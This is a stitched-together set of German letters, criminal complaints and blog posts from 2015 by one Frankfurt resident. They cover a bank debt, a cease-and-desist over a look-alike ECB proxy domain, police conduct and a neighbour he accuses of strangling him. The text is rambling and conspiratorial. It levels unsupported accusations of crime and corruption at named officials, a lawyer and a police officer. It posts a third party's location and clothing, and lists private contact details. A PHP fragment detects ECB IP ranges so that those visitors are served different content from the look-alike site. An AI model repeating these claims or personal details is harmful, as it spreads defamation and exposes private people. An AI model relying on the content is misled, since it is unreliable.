Hoelderlinstrasse 4
60316 Frankfurt a.M.
Germany
maximilian@baehring.at
Fax: +49 (0)69 67831634
Fax: +49 (0)69 1367 2100
nächstgelegene Polizeidienststelle
mittels Staatsanwaltschaft
Konrad-Adenauer Straße 20
D-60313 Frankfurt a.M.
22. Mai 2015
Strafanzeige
Hiermit ersatte ich Strafanzeige gegen sämtliche Gerichtsvollzieher / Vollziehungsbeamten und ähnliches ?Gschmeiß? im Bezirk. Richtig ist: verursacht durch gesunden Volkszorn, durch eigene Unfähigkeit der Bank, durch polizeiliche Untätigkeit, durch die Verweigerung eines Rechtsbeistandes, durch Verfahrensführung während meiner Entführung und durch Erpressung ist die Frankfurter Sparkasse 1822 gegen mich zu eine vollstreckbaren Forderung gelangt und zwar auf dem Wege eines Säumnisurteils. Hierfür hat sie überhöhte Zinsen verlangt und überhöhte Anwaltsgbühren. Eine Bank verfügt über eine Rechtsabteilung mit hauseigenen Juristen: im Gegensatz zu mir, mir wird ein Anwalt verweigert. Daß die trotzdem zusätzlich noch externen Rechtsbeistand in rechnung stellen ist geradezu lächerlich. Abgesehen davon darf es für Zwangskredite keine bleibig hohen Zinssätze geben, insbesodner da das Geschäft der Bank darin besteht sich aus Zinsen zu finazieren. Hier wird mir gegen meien Willen ein Kreditvertrag aufgepresst für den ich ? sollte ich die selbe Summe als Frankfurter Sparkasse am Interbanken-Markt aufnehmen ?Libor/Euribor? erheblich geringere Zinsen zuleisten hätte. Diesen Zinsvorteil nicht weiterzugeben ist Betrug und ? so Zwangskredit sich auf Schadenersatz aus Bürger-Kriegsschaden des nach Artikel 20 Absatz 4 legitimierten Widerstandes in der Bundesrepublik - bezieht, wo ?Force Majeure?, höhere Gewalt gilt, eine unzulässige ?Reparation? ? an solcher hat sich auch schon der zwote Weltkrieg entzündet bei dem Hitler an dei Macht kam weil er den Siegermächten von Versailles keine Reparatioenn zahlen wollte. Für die Entführung bin ich entschädigt worden. Aus dieser Entschädigung habe ich ? des lieben Friedens willens ? angeboten die Forderung der Frankfurter Sparkasse 1822 zu begleichen. Der Anwalt der Frankfurter Sparkasse ist nicht auffindbar verzogen und die Gerichtsvollzieherin Rinnelt weigert sich das angebotene Geld aus der Entschädigung anzunehmen, auch nehmen beide keine Post an. Sattdessens unterschlägt man nachweislich meine Post. Auch mit Gerichten. Das führt für mich zu erheblich Nachteilen. Das alle riecht nach einem Banden- und gewerbsmäßig organiserten Betrug mit schwerster Beamten-Korruption.
Gru&SZlig;
http://wuergerjagd.tumblr.com/
Ich hatte mich gestern doch nicht geirrt. der Würger ist wieder im Lande. Momentan am Kios Ecke Hanauer-Land- zu Hölderlinstraße.Am Kiosk Ostend (Hanauer 30 oder 32) . Aktuell trägt er eine beige Hose und einen schwarzen Puli udn weiße Trunschuhe. Es läuft noch eien anderer rum der ihms ehr ähnlich sieht. Der ältere Mann vond er Inhaberfamilie (nicht der Jüngere, der die Pizza backt,, das gibt es zwei die immer da sind, wohl eien Familie) von der Pizzeria nennt den Typen ?ANDREA?!
http://www.openstreetmap.org/way/4828989#map=18/50.11322/8.69961
Lediglich der Typ von dem ich gestern irrrtümlicherweise das Foto machte war von der Statur her ein ?Doppelgänger? ? bei dem hatte ich mich geirrt.
Maximilian Bähring
Hölderlinstraße 4
60316 Frankfurt a.M.
Fax: 069/678341634
maximilian@baehring.at
vorab als Fax: 069/450902-11
Fräulein Burghardt
bock legal
Reuterweg 51-53
60323 Frankfurt a.M.
27. Mai 2015
FRECHHEIT ? SCHUTZGELDERPRESSUNG IST DAS
Fräulein Burghartd!
Soeben, 20. Mai 2015 erhalte ich per Einschreiben Einwurf ihr Schreiben mit dem Versuch mir eine Unterlassungserklärung abzupressen.
Es wird Strafanzeige gegen Sie erstattet wegen Nötigung! Ich bin Datenschutz/Netzaktivist und als solcher habe ich etwas gegen Abmahnanwälte. Wer mich dazu erpressen will ihm als Anwalt horrende Gebühren zu bezahlen die von der Höhe her ganz sicher nicht dem ? nur im Falle eines letztinstanzlichen Klagverlustes -BRAGO/RVG Satz entsprechen ist bei mir gerade richtig. Das klage ich durch bis zum EUGH wenn es sein muß. Ich bin gerade wieder in Strasbourg beim europäischen Gerichtshof für Menschenrechte mit einem Verfahren in dem es um Anwaltsgebührenerstattung geht. Sie als Jurist sollten am besten wissen daß man vor Gericht kein Recht bekommt allenfalls ein urteil (denn zu Recht kommt man nur durch Recht also etwa bei Tatvorsatz-Nachweisbarkeit).
Bei ?zentral-bank.eu? bin ich der falsche Ansprechpartner. Wenn Sie nicht wollen daß eine Domain die eventuell gegen Markenrecht verstößt verwendet wird dann wenden Sie sich an die für die Topleveldomain ?.eu? zuständige Registry, die Eurid, die alleine Abhilfe schaffen könnte. Was die third level domain ?central.banktunnel.eu? angeht deren Delegation mir als Domain-Inhaber des Namens ?banktunnel.eu? obliegt so kann ich hier keinerlei Markenrechtverletzung feststellen. Der Namensbestandteil Tunnel bezieht sich auf Tunnel wie in einem VPN.
Die ?zentral-bank.eu? Domains ist als solche auch nicht schützbar weil es von Zentralbanken gleich mehrere innerhalb der EU gibt. Ich habe mich informiert. Die gesetzlichen Regeln der EU sehen vor daß bei mehreren konkurierenden Institutionen mit einem Anspruch innerhalb EU-Europas diejenige den Zuschlag bekommen soll in deren Sprache ein Domainname verfasst ist. ?Central-Bank.EU? würde insofern der britischen Krone gehören weil ?Central-Bank? ein englischsprachiger Begriff ist. Insofern könnten theoretisch auch noch zumindest die Deutsche Bundesbank oder die Bank Austria Ansprüche anmelden. ?/-2-
-2-
Was die SSL-Zertifikate
der vorgenannten Domains angeht: Nach eingehender Prüfung durch den
Registrar (Comodo) wurden mir diese übertragen.
Hintergrund meiner Angebote im Netz:
Seit meinem fünfzehnten Lebensjahr betreibe und warte ich Netzwerke, schon mit 15 Jahren habe ich Geschäftsreisen (nach Hamburg) unternommen um die bundesweiten (damals noch lokalen) Netze einer internationalen Human-Resources Consultancy (den EDV-Support derer internationalen Verbands-Partner-Niederlassungen in 35 Ländern dieser Erde von Kanada bis Australien ich ab dem 23. Lebensjahr als geschäftsführender Gesellschafter der outgesourcte EDV-Abteilung dieses Unternehmens übernahm) zu betreuen. Am Tage meines 18. Geburtstages stand ich bei Öffnung des Rathauses in Bad Homburg beim Gewerbeamt um meine Selbständigkeit anzumelden. Ich betreibe vom Know-How her Netzwerke auf Niveau von Autonomen Systemen (AS21158) und bin weitestgehend gleichbrechtigt etwa mit der Deutschen Telekom was das Routing im Internet angeht. Ich habe eine komplett selbstgebaute eigene, auf Routing- und Serverdienste spezialiserte Linux-Distribution erschaffen.
Mein aktuelles, - hobbymäßig, ich bin im Prinzip Frührentner - betriebenes Netzwerk erstreckt sich ? neben Deustchland - von New York über London bis Tokyo. Geografische Verteilung war notwendig geworden nachdem man verstärkt DDOS- Attacken, unter anderem von Israel aus, auf meinen Name- Server gefahren hatte. Insofern ist weitaus mehr als fraglich ob ein deutsches Gericht zuständig wäre.
Ich bin einer der Aktivisten hinter ?Freiheit Statt Angst? und engagiere mich ? etwa mit Demo-plakate kleben ?für den Arbeitskreis Vorratsdatenspeicherung, mein damaliger Kontakt ist inzwischen bei der Piratenpartei die maßgeblich aus der Bewegung heraus Zulauf bekommt.
Ich bin ein Freund kostenloser
Angebote im Netz wie etwa Wikipedia. Nun wollte ich der ?Netzgemeinde?
etwas zurückgeben. Hierfür habe ich unter anderem auch einen DynDNS
Dienst geschrieben ?dynip.name? der demnächst online geht.
Mich
ärgert daß man im Internet immer massiver überwacht wird. Dagegen
wollte ich ein Zeichen setzen. Und daher betreibe ich einen
Anonymisierungsdienst. Wer diesen KOSTENLOS ANGE-BOTENEN Dienst nutzt
sieht die Seite der EZB durch meinen Rechner hindurch - so wie ich sie
sehe.
Ihnen ist sicherlich geläufig daß man im Internet eine Seite
an denjenigen anpassen kann der Sie aufruft, so wäre es beispielsweise
möglich einen Filter zu programmieren der Rechnern der Federal Reserve
Bank der USA einen anderen Leitzinssatz anzeigt als dem Rest der Nutzer
des Internets. Etwa anhand der IP-Adressen. $_SERVER[?REMOTE_ADDR?] ist
ein guter Suchbegriff für google wenn Sie sich da einlesen.
Um zu vermeiden daß man Opfer einer solchen Täuschung wird, das beispielsweise nur einem selbst ein erhöhter Preis für eine im Netz angebotene Ware angezeigt wird, ein Aufschlag, der jemand anderem nicht angezeigt wird, nutzt man dann Proxy Server um zu verifizieren daß die Information korrekt ist, etwa http://www.webproxy.net oder eben
DEN MEINIGEN. ?/-3-
-3-
Die
Wahl der EZB für einen für die Netzgemeinde angebotenen
Anonymisierungsdienst war naheliegend da ich in direkter Nachbarschaft
wohne. (Mein Appartement in der Hölderlinstraße 4 ist etwa 500 m
Luftline vom Neubau entfernt.) Ich hatte deshalb schon ? ohne Antwort zu
erhalten ? um ein sogenanntes BGP-Peering zwischen dem AS der EZB 31614
und dem meinigen 21158 per optischer Richtfunkstrecke ersucht, von
meinem Schlafzimmerfenster aus habe ich die hierfür notwendige
Sichtverbindung auf das Gebäude ihrer Mandantin.
Der Anonymisierungsdienst-Proxy-Server nimmt nun ? für spätere Verwendung als Platzhalter für eine Werbeeinblendung (um den Serverbetrieb zu finanzieren, momentan sponsore ich das noch privat)- zwei Modifikationen an der geproxieten Seite vor: die Erste indem er über ein verändertes Logo darauf hinweist daß es sich um einen Anonymisierungsdienst handelt (siehe Abbildung).
Die Zwote ist daß ein Platzhalter für eine
Werbeeinblendung als ?CONTENT INSERTED BY ANONYMOUS TRANSPARENT PROXY?
eingefügt wird. (siehe Abbildung). Momentan weise ich
hier auf ein aktuelles Gerichtsverfahren hin und meine Blogs.
Ich bin nämlich nicht nur beruflich recht aktiv egwesen bevor meine Ex mir durch den Falschvorwurf der Drogennahme im 14 Jahre andauernden Sorgechtsstreit das Unternehmen ruiniert hat sondern auch journalistisch, als Verleger und Herausgeber unserer Schülerzeitung ExtraPlatt, nicht zu ver-wechseln mit der BÖRSEN-ZEITUNG die Bernd Bähring ? so heißt mein Vater ? als Chefredakteur herausgegeben hat. Die deutsche Bundesregierung hat mich erst neulich als Jorunalisten akkreditiert.
Mein Blog heißt ?http://sch-einesystem(.tumblr.com)?, eine Anspielung auf die zu Zeiten des sogenannten heißen Herbstes von der RAF verwandete Floskel des Schwein-e-systems in Anlehnung an Geld_Scheine im ?Eurosystem?. Direkt vor dem Schwimmbad in dem ich in meiner Jugend zwo mal wöchentlich trainierte hat man den Vorstandschef der Deutschen Bank, Herrhausen, in die Luft gejagt, das mag noch unterbewußt bei der Mamensfindung mit hineingespielt haben.
Er ? der Blog - ist auch in einer fürs OFFLINE lesen optimierten PDF-Ansicht verfügbar. Ich schlage vor sie laden sich das mal aus dem Netz runter: http://central.banktunnel.eu/download/
Hier beschäftige ich mich mit Dingen wie eigenen IP-Adressbereichen für die Regierung oder der korrekten Einordnung staatlicher Institutionen unter einer Topleveldomain ?.gov? wobei etwa DEutschland mit dem US-Bundesstaat DElaware um ?de.gov? konkuriert. Das alles können sie dort nachlesen.
Nicht umsonst agiert die EZB als ?ecb.europa.eu?.
?/-4-
-4-
Neben meiner Tätigkeit als Hobbyjournalist bin ich auch noch politisch im Jugendparlament aktiv gewesen. Ich habe also Anliegen als außerparlamanetarische Opposition. Ich möchte beispielsweise eine eigene Währung einführen für Grundbedarfe (Essen/Waschsalon/Frisör ?) wobei man ähnlich wie im Märchen Tischlein-Deck-Dich auf seine EC-Karte einen zwoten Betrag in einer eigenen Währung (sagen wir in ?Broteinheiten? statt Euros) hätte der nie ?leer? wird, der alle 24 Stunden erneut wie bei einer Prepaid-Handy-Karte wieder ?aufgeladen? wäre und nur gegen Nahrungsmittel und andere Grundbedarfe eingetauscht werden könnten. So wäre jeder ? ohne Sozialhilfe beantragen zu müssen ? etwa an einem Freitagnachmittag wenn der Kühlschrank wie das Konto leer ist und für eine Rechnung eines Selbständigen der erwartete Zahlungsengang ausbleibt ? immer und unbürokratisch mit Essen versorgt ohne irgendwo bei einem Amt darum betteln zu müssen. Ich denke dabei auch an Suchtkranke die ihr Sozialgeld in Drogen umsetzen. Diese neue Währung würde beim normalen Einkauf angerechnet.
Also: Ich bin Jornalist, ich bin ehemaliger Abgeordneter des Judgen-parlamentes, ich bin politsich im Umfeld der Piratenpartei aktiv, ich kenne mich bestens im Internet aus führe einen Blog ?.
? und Sie wollen mir wirklich allen ernstes verbieten
einen Proxy Server zu betreiben? Proxy-Server (auch ?Webcaches?) sind im
Intenet nicht ohne Grund nicht nur erlaubt sondern auch beliebt. Im
Prinzip stellt jede ?Fritzbox? mit der Sie zu Hause ins Internet gehen
einen voll-transparenten NAT-?Proxy? dar. In Browsercache ihres Rechners
werden die Logos der EZB bei jedem Aufruf abgelegt.
Vielleicht wollen sie da ja auch gleich gegen jeden Nutzer der EZB-Website vorgehen.
Was sie vorhaben ist so in etwa der Versuch eines Fernsehsenders einem Fernsehzuschaer zu verbieten das Programm des Senders auf seinem Fernsehgerät zu emfangen weil das Logo des Senders auf einem TV-Bildschirm angezeigt wird der nicht Eigentum des Senders ist und das Programm zudem eine unzulässige Kopie der Realität in den Kulissen des Senders darstellt.
Was sie wollen ist analog dazu mir zu verbieten auf dem von mir gekauften Exemplar einer Tageszeitung Artikel anzumarkern oder Anmerkungen vorzunehmen.
Sie selbst weisen auf den offenen Quellext hin. Sie können also problemlos nachverfolgen ob und welche Änderungen am HTML der Seite vorgenommen werden (etwa mittels eines ?DIFF?) nämlich abgesehen von den vorhin erwähnten (Werbeeinblendung, Hinweis daß es sich um einen Proxy handelt) keine.
Das ist so im Internet üblich, hunderte, wenn nicht abertausende werbefinazierte Proxies machen das so.
Was die erwähnten Schlüsselwörter angeht. Nun: es ist ein Porxy. Diese setzen Sie also selbst weil die an Suchmaschinen unverändert durchgereicht werden.
?/-5-
-5-
Die EZB wäre die erste Institution die es schafft Proxy Server zu verbieten. Sie würde damit an und für sich per Präzendenzfall die rechtliche Grundlage schaffen das gesamte Internet komplett abschalten zu lassen weil niemand mehr in etwa eine ?Fritzbox? betreiben dürfte die ebenfalls per NAT stellvertretend für den dahinterhängenden Rechner Inhalte abruft und diese dann durchreicht, eben proxied.
Ich gebe das hier samt ihres UNVERSCHÄMTEN Pamphletes in vollem Umfange an die größten einschlägigen Internetforen, Fachzeitschriften, meine ?Freunde? von der Börsenzeitung, meine zahlreichen politischen und journalistsichen Kontakte, einige Fachanwälte weiter.
Wären Sie ohne ? vor allem externen - Anwalt ? verfügt ihr Institut denn über gar keine hauseigenen Justiziare - auf mich zu gekommen der gleich noch unsummen Geld von mir, einem H(artz)IV Empfänger abpressen will, man hätte sich sicherlich gütlich einigen können. Aber dafür ist es mit dem getanen Schritt zu spät.
Hier ist es der Ton der die Musik macht.
Und jetzt kommt noch das ?Totschlagargument? warum sie im Unrecht (als ?EDV- Formel?):
?Europäische Zentralbank? ? ?zentral-bank.eu?.
Das eine ist mit, das andere ohne Bindestrich (Minus), das eine hat den Zusatz ?Europäische ?
vorangestellt das andere nicht. Und nur ohne Bindestrich und mit Zusatz ist es geschützt und
auf Deutsch laut Ihrer Aufstellung (Seite 2 ff. ihres Schreibens) gar nicht. Würde man sich
?europaeische-zentral-bank.eu? haben schützen lassen, ich wäre ihrer Meinung aber:
Auch
unter ?banktunnel.eu? wie allem was vor zentral-bank.eu steht handelt
es sich um einen Wildcard DNS Record auf dritter Ebene (Third Level).
Der ermöglicht auch Konstellationen wie
die Anzeige von
?ag-frankfurt.justiz.hessen.de.banktunnel.eu? oder
?bock-legal.de.banktunnel.eu.? oder
?lg-frankfurt.justiz.hessen.de.banktunnel.eu?. Und da hilft es auch
nicht wenn Sie aktuell ?
seit einigen Wochen - die EUrid nötigen im
Whois meinen Namen zu verbergen. Ich empfehle die Lektüre von ?DNS and
Bind? von O?Reilly und http://en.wikipedia.org/wiki/Wildcard_DNS_record !
Mein Proxy ist somit (auch) unter *.zentral-bank.eu erreichbar: etwa www.proxy.zentral-bank.eu!
?/-6-
-6-
Sie
haben sich in den letzten Jahren sehr ?beliebt? gemacht bei der
Bevölkerung, wenn Sie noch einen draufsetzen wollen, dann ?Sue me?,
verklagen Sie mich doch. Gerichtsstand ist momentan nach Serverstandort
übrigens Tokyo, Japan oder London, England (oder hilfs-/ersatzweise für
Tokyo Japan: New York, New Jersey!)
Ich
kenne Leute die Waren monatelang offline weil Sie nicht auf meinen Rat
gehört haben und etwa Domains / DNS-Dienste unbedingt (das hab ich
schriftlich) kündigen wollten noch bevor Sie zum neuen Registrar
transferiert wurden. Oder die wollten dass ich jeder Transferanfrage
(KK-Antrag) automatisch zustimme. Ich bin nicht einer der
Ich weiß wirklich nicht was sie
zu verbergen haben weshalb Sie unbedingt verhindern wollen dass jemand
ihre Berichte ? die einer staatlichen und damit zur Neutralität
verpflichteten Institution ? anonymisiert weiterreicht. Gibt es für
bestimmte Banken ganz spezielle Leitzinssätze? Bekomme ich von der
Deutschen Bank aus HTMLs/PDFs mit anderen Geldmengen angezeigt als von
der HSBC? Manipulieren Sie den Markt? Und das soll dann nicht auffliegen
dadurch dass der Zeitungsjunge
der Ihnen jene Zeitung holt die alle
anderen auch bekommen, die ?mit ohne? den auf den jeweiligen Abonnenten
zugeschnittenen = FRISIERTEN Börsenteil der für zu schädigende
Kapitalmarkt-Teil-nehmer eben anders aussieht? Filmempfehlung hierzu: http://www.imdb.com/title/tt0070735/
Maximilian Bähring
$sip4=$_SERVER[?REMOTE_ADDR?];
//AS31614 194.42.114.0/23, 195.128.0.0/22
//http://www.cidr-report.org/cgi-bin/as-report?as=AS31614&view=2.0
$apfx[0]=?195.128.?;
$apfx[1]=?195.129.?;
$apfx[2]=?195.130.?;
$apfx[3]=?195.131.?;
$apfx[4]=?194.42.114.?;
$apfx[5]=?194.42.115.?;
// $npfx gets $apfx[#] if REMOTE_ADDDR is out of an ecb subnet else -1
$nfnd=-1;
$npfx=0;
while (($apfx[$npfx] != NULL) && ($apfx[$npfx] != ??) && ($nfnd == -1)) {
if ( strlen($apfx[$npfx]) <= strlen($sip4) ) {
if ($apfx[$npfx] == substr($sip4, 0, strlen($apfx[$npfx]))) {
$nfnd = $npfx;
} else {
$npfx++;
}
} else {
$npfx++;
}
}
if ($nfnd != -1) { $npfx = $nfnd; } else { $npfx = -1; };
if ($npfx != -1) {
// inside ecb
Maximilian Bähring
Hölderlinstraße 4
60316 Frankfurt a.M.
Fax: 069/678341634
maximilian@baehring.at
vorab als Fax: 069/1367-2100
nächstgelegene Polizeidienstelle
(jedoch nicht 1. oder 5. Revier)
mittels und vorab zu Händen des
Herrn Oberstaatsanwalt Dr. König
über die Generalstaatsanwaltschaft
Zeil 42
D-60313 Frankfurt a.M.
26. Mai 2015
Strafanzeige wegen Nötigung
Hiermit ersatte ich Strafanzeige wegen Nötigung gegen
Daniela Burghardt
?bock legal?
Reuterweg 51-53
60323 Frankfurt a.M.
unter Beifügung einer im übrigen 29 seitigen Erwiderungsschrift.
Die
vorgenannte versucht im Prinzip zu verhindern dass etwa Anleger sich
anonym am Markt informieren. Sie will verhindern dass für alle die
selben ?Zins-Konditionen? EINSEHBAR SIND.
Ganz offensichtlich handelt es sich um das betrügerische intransparente Geschäftsgebaren
eines kriminellen Zinskartells.
Wenn ich ? zur Zeit meiner Selbständigkeit ? jemandem ein Angebot unterbreitet habe dann gilt
das
selbe Angebot selbst-verständlich auch für jeden anderen ähnlich
gearteten Kunden bei gleicher zeitlicher oder mengenmäßiger Abnahme.
Deshalb konnte bei mir gerne der potentielle Kunde A ein Angebot
einholen, und der Kunde B bekam ? prinzipiell - den gleichen Preis.
Die EZB will genau das verhindern. bei ihr, einer staatlichen Instituion sollen Informationen nur angezeigt werden wenn sie die Möglichkeit hat Rückzuverfolgen wer angefragt hat. GENAU DAZU DIENT EIN PROXY SERVER oder ein LOOKING GLASS:
Gru&SZlig;
Maximilian Bähring
Maximilian Bähring
Hölderlinstraße 4
60316 Frankfurt a.M.
Fax: 069/678341634
maximilian@baehring.at
vorab als Fax: 069/450902-11
Fräulein Burghardt
bock legal
Reuterweg 51-53
60323 Frankfurt a.M.
26. Mai 2015
18:00 Uhr
Bähring (Nebenklage) ./. Burghardt und Staat ./. Burghardt wegen Nötigung
Burghardt (Pbv.) Europäische Zentralbank ./. Bähring
Fräulein Burghardt!
Ihre Fristsetzung interessiert mich nicht. Dennoch habe Ich Ihren Nötigungsversuch
- strafangezeigt
und zudem eine mehr als umfangreiche
- schriftliche Antwort
zu Ihrem Schreiben verfasst, die Letztere auch noch für Sie KOSTENLOS!
Das ganze geht jetzt in die Post für morgen Mittag auf deren Auslieferungsgeschwindigkeit ich dann keinerlei Einfluss habe, aber da das ganze auf dem Wege des Einschreibens an sie übersandt wird sehen wir ja ob es eingeht.
Damit Sie mir vor Gericht nicht vorweisen können ich sei in Verzug geraten mit der Antwort sende Ich Ihnen FRISTWAHREND diese Vorabankündigung des Schreibens als Telefax.
Maximilian Bähring
NAZI - Parolen und Kindesentührungsblogs ? und der Würger ist wieder hier - gibt es da einen Zusammenhang?
EZB eben (27. Mai 2015 etwa 08:40 Uhr ):
?POST? Darf ich nicht annhemen.?
Hat er aber! Der Inhalt:
http://zentral-bank.eu/download/ezbcombiv2-anzeige-bestaetigung.pdf
Jetzt wäre ein guter Zeitpunkt die Freundin des Würger, die ? nachdem
mir Hausverwalter Mi. Ko. gesagt hatte der Besitzer Mi. Ra. hätte
diese gekündigt gehabt und diese wohne nicht mehr hier, eine Fehlinformation
wie sich neulich - Siehe heirzu auch meien Onlienanzeige vom 01. April
2015 um 20:45 Uhr - herausstellte, wieder heir wohnt, zum Erwürgervesuch
einzuvernehmen. Der Zeitpunkt ist deshalb gut weil Sie mir eben auf dem
Flur begegnet ist.
Sie war es die seinerzeit ihren Freund/Untermieter ?Andrea? von mir
wegzerrte nachdem dieser mich minutenlang gewürgt/stranguliert hatte.
Sollte Sie nicht aussagen wollen erstatte ich Strafanzeige wegen Beihilfe zum
versuchten Totschlag. Sie hat jetzt nicht mehr rote, sie hat jetzt
schwarze schulterlange Haare.
Maximilian Baehring
Hoelderlinstrasse 4
D?60316 Frankfurt am Main
Fon: +49 / (0)69 / 17320776
Fax: +49 / (0)69 / 67831634
E-Mail: maximilian@baehring.at
Maximilian Baehring Hoelderlinstrasse 4 D-60316 Frankfurt/M.
vorab per Fax: +49 / (0)69 / 1367-2100
nächstgelegen Polizeidienststelle
über Oberstaatsanwalt Dr. König
mittels Generalstaatsanwaltschaft
Zeil 42
D-60313 Franfurt a.M.
Frankfurt/M., 30. Mai 2015
Ich wusste gar nicht dass man Bemate für Lügen bezahlen kann.
Schon wieder lügt die Polizei und will dafür auch noch Geld.
Ich zeige das hiermit an und überlasse ihnen anbei drei
Seiten meines Schriftverkehrs mit dem PTLV Wiesbaden neben
Kopien von zwo Seiten Beweismitteln (Anordnung des ?fünften?
vom 25.12. 2014 und Rechnung des PTLV vom 22. 05.2015) zwecks
[x] weiterer Veranlassung!
Maximilian Bähring
Denen genügt es nicht mich zusammenzuschlagen, die wollen mich
wohl auch noch endgültig ruinieren indem Sie mir mein H(artz)IV
zu pfänden androhen. Das entspricht nämlich in etwa der Summe der PTLV-Rechnung.
Maximilian Baehring
Hoelderlinstrasse 4
D?60316 Frankfurt am Main
Fon: +49 / (0)69 / 17320776
Fax: +49 / (0)69 / 67831634
E-Mail: maximilian@baehring.at
Maximilian Baehring Hoelderlinstrasse 4 D-60316 Frankfurt/M.
vorab per Fax: +49 / (0)611 / 8801-3419
Präsidium für Logistik,
Technik und Verwaltung,
Willy-Brandt Allee 20
D-65197 Wiesbaden
Frankfurt/M., 30. Mai 2015
Aktenzeichen 479.070239.1 PTLV Wiesbaden in Verbindung mit
VNr. GAW/1467212/2014) 5. Polzeirevier Frankfurt a.M.
Vorab: In erstgenannter Kostenerhebungssache, Ihr Schreiben datiert 22. Mai erreicht mich am 29. Mai 2015, lege ich hiermit Widerspruch ein.
Das Eintreten meiner Wohnungstür war ein Akt der Sachbeschädigung durch Polizisten des 5. Reviers. Diese Sachbeschädigung zeige ich hiermit an, neben dem eingelegten Einsprcuh / Widerspruch (und zwar aufgrund sich widerprechender Aussagen):
Hiermit erstatte ich also außerdem auch Strafanzeige gegen Herrn PHK Winkler, ladungsfähige Anschrift: Polizeipräsidium Frankfurt, Polizeidirektion Süd, 5. Polizeirevier (Ostend), Ferdinand-Hap-Straße 32, 60314 Frankfurt a.M. und zwar wegen Falschaussage.
Laut Aktenzeichen 4709.070239.1 Präsidium für Logistik, Technik und Verwaltung, Willy-Brandt Allee 20, 65197 Wiesbaden wurde meine Tür am 25. 12. 2014 eingetreten weil ich sie nicht öffnete. Folglich muß es ja eine Lüge sein dass die Tür deshalb ohne Vorwarnung ?einge-treten? und beschädigt wurde weil die Polizisten SCHISS hatten. In seiner ?Anordnung? vom 25. 12. 2014 schreibt PHK Winkler jedenfalls, ich zitiere:
?die Tür wurde gewaltsam geöffnet da ? damit eine Gefahr für eingesetzte (sic!) Beamten (sic!) verringert werden konnte.?
?/-2-
-2-
Das PTLV will mir nun die Kosten dieser wiederholten Randale durch die korrupten, untätigen und unverschämten Polizeibeamten die ihre wehrlosen Opfer zusammenschlagen, schwerst körperverletzen und durch Dokumentenfälschung (sogar angebliche Schreiben des BKA wurden gefälscht, und Rechnungen um Geld zu erpressen, ?Vodafone Cuba Hack? Aktenzeichen: 31 C 3184/12 22 AG Frankfurt a.M.) und Unterschlagung von Postsachen Disziplinarverfahren gegen sich unterbinden während sie ?Kinderficker? (sexueller Missbrauch von Schutzbefohlenen), Mörder/Totschläger und Täter in Raubüberfällen frei herumlaufen lassen, weil sie zu dämlich sind ihre Arbeit vernünftig zu machen aufhalsen.
Es kommt aber mit einer ganz anderen Begründung (VNr. GAW/1467212/2014), nämlich
?Da Sie ihre Tür nicht öffneten ??
Das stimmt nicht. Herr Winkler schreibt es ja. Er hat die Tür ?eingetreten? weil er sich PARANOIDERweise in Gefahr wähnte durch jemanden dem es - weil man ihm nach mehrjährigem Prozess ausgerechnet an Heiligabend durch Boten zustellen muß dass er als Vater kein Sorgerecht bekommt ? so übel ging dass er seinem Leben ein Ende setzen wollte.
Ich habe noch
eine dritte Variante des Herganges, und das allein ist die Wahrheit die
ich gerne auch zu beeiden bereit bin. Ich habe ausdrücklich die
Polizisten schriftlich von meiner Patienten-verfügung in Kenntnis
gesetzt nach der ich eine medizinische Behandlung ablehnen bevor ich mir
versucht habe das Leben zu nehmen. Das kann ich auch beweisen. Die
Polizeibeamten haben also versucht eine Zwangsbehandlung durchzusetzen
entgegen vorliegender Patientenverfügung wie schon so oft. Meine EX hat
mich im Sorgerechtsverfahren der Drogennahme falschbeschuldigt, darüber
verlor ich meinen Job. Seitdem versuchten die Beamten mich aufgrund
dieser NACHGEWIESENEN Falschbeschuldigungen immer wieder in Psychiatrien
zu verschleppen. Ich werde bei solchen Versuchen auf das allerbrutalste
von Beamten zusammengeschlagen. Um nicht durch eine Nachbarn getötet zu
werden hab ich mich einmal Putativ-notgewehrt (Aktenzeichen 992 Bs 7/13
AG Frankfurt a.M.) seitdem nennen mich die Polizisten einen
Gewalttäter, weil sich mal jemand dagegen Notgewehrt hat als fast
totgeschlagen wurde. Als ich Dienstaufsichtsbeschwerden eingereicht habe
kamen zwei Herren hier vorbei und schüchterten mich ein ? sie würden
mich verschwinden lassen wenn ich die Anzeigen nicht fallen ließe.
?/-3-
-3-
Trotz
eines mehrwöchigen Hungerstreiks hat man mich auch in die U-Haft in die
man mich verschleppt hatte (zu Unrecht, weshalb ich später entschädigt
wurde) massivst bedroht ich müsse meine Anzeigen zurücknehmen (eine Frau
Schneyer).
Zudem hat man das recht gebeugt indem man mich einfach
nicht innerhalb vorgeschriebener Fristen richterlich anhörte § 118 (5)
StPO, mein Anwalt verteidigte mich nicht sondern machte lieber Urlaub,
den hatte die Richterin mir ausgesucht, damit er mich möglichst
schlampig verteidigt, dieselbe die mir untersagte bei Gericht unter
anderem Aktenzeichen vorliegende Beweise für meine Unschuld
vorzubringen. Man hat regelrecht versucht mich in Durst- und
Hungerstreik umkommen zu lassen. Ich tippe mal: Die täuschen eine
Gewalttätigkeit meiner Seite vor damit Richter sich nicht trauen mich
zur Sache der exzessiven Polizeigewalt ihrerseits vernehmen. Immerhin
hat man direkt nachdem ich Nntrag auf das Sorgerecht eingericht hatte am
19. Mai 2013 (Tagder gestzesnovelle) mich am 23. Mai 2013 seitens der
Beamten zusammensgeschlagen.
So wurde ich von den Beamten zugerichtet: http://mai23.urlto.name
Das hier ist ein neuerlicher Racheakt. Ein Hartz IV empfänger (der Verleumdungen meiner Ex wegen) soll weiter geschädigt und fertig-gemacht werden weil er sich gewagt hat die Machenschaften des 1. und 5. Reviers sowie der Polizei Bad Homburg zum Inhalt eienr Petition beim hessischen Landtag und Europaparlament zu machen.
Maximilian Bährng
Was ein Zufall! Da haben alle Illegalen erzählt sie
würden von bösen
Nazis vefolgt um sich neben unnötigen Kabeln (verbraucht wird wo erzeugt
wird) auch noch Aufträge zu besorgen für den Einbau von
Brandschutztüren auf GEMEINKOSTEN. D. P. ST?AN von der Feuerwehr der
alte ?linke?
Volksverhetzer mit seinen rechte Gewaltaten vortäuschenden linken
ANTIFA-HOOLIGANS -und Frau Bankfililaleiterin ?PUTZ-"ECKfensters ANWALT!
http://www.zentral-bank.eu/home/html/index.en.html?perspective=insiderinfo
Maximilian Baehring Hoelderlinstrasse 4 D-60316 Frankfurt/M.
vorab per Fax: +49 / (0)611 / 8801-3419
an (das ?nicht ordentliche?)
Verwaltungsgericht Frankfurt a.M.
Adalbertstraße 18
D-60486 Frankfurt a.M.
Frankfurt/M., 03. Juni 2015
Klage
gegen das
Präsidium für Technik Logistik und Verwaltung in
